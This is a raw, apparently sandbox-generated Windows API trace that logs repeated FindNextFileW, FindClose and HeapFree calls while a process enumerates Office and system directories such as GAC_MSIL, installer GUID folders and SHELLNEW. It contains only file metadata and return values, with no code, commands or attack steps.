	[0153.551] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0153.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0153.553] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0153.553] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0153.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0153.553] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 0
	[0153.553] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0153.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0153.553] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 1
	[0153.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.840] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0
	[0153.840] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0153.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0153.840] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces", cAlternateFileName="MICROS~2.INT")) returned 1
	[0153.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.841] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0
	[0153.841] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0153.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0153.841] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData", cAlternateFileName="MICROS~1.BUS")) returned 1
	[0153.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.841] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0153.842] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0153.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0153.842] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessApplications.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1
	[0153.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.842] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0153.842] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0153.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0153.842] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData", cAlternateFileName="MICROS~2.BUS")) returned 1
	[0153.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.843] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0153.843] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0153.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0153.843] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 1
	[0153.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.843] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0153.843] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0153.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0153.843] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 0
	[0153.843] FindClose (in: hFindFile=0x5ddec0 | out: hFindFile=0x5ddec0) returned 1
	[0153.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0153.845] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 0
	[0153.845] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0153.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0153.846] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INF", cAlternateFileName="")) returned 1
	[0153.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.846] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1
	[0153.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0153.848] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~3")) returned 1
	[0153.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0153.850] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-040C-1000-0000000FF1CE}", cAlternateFileName="{90160~4")) returned 1
	[0153.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0153.850] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0C0A-1000-0000000FF1CE}", cAlternateFileName="{9B17A~1")) returned 1
	[0153.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0153.850] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 1
	[0153.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0153.850] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 0
	[0153.850] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0153.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.851] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PCHEALTH", cAlternateFileName="")) returned 1
	[0153.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0153.851] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 1
	[0153.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0153.851] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 0
	[0153.851] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0153.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0153.852] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERRORREP", cAlternateFileName="")) returned 0
	[0153.852] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0153.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.854] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 1
	[0153.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.855] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 0
	[0153.855] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0153.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0153.856] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0
	[0153.856] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0153.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0153.858] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 0
	[0153.858] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0153.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0153.858] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 0
	[0153.858] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0153.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0153.858] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e68d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1
	[0153.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.859] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClientX64", cAlternateFileName="CLIENT~1")) returned 0
	[0153.859] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0153.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
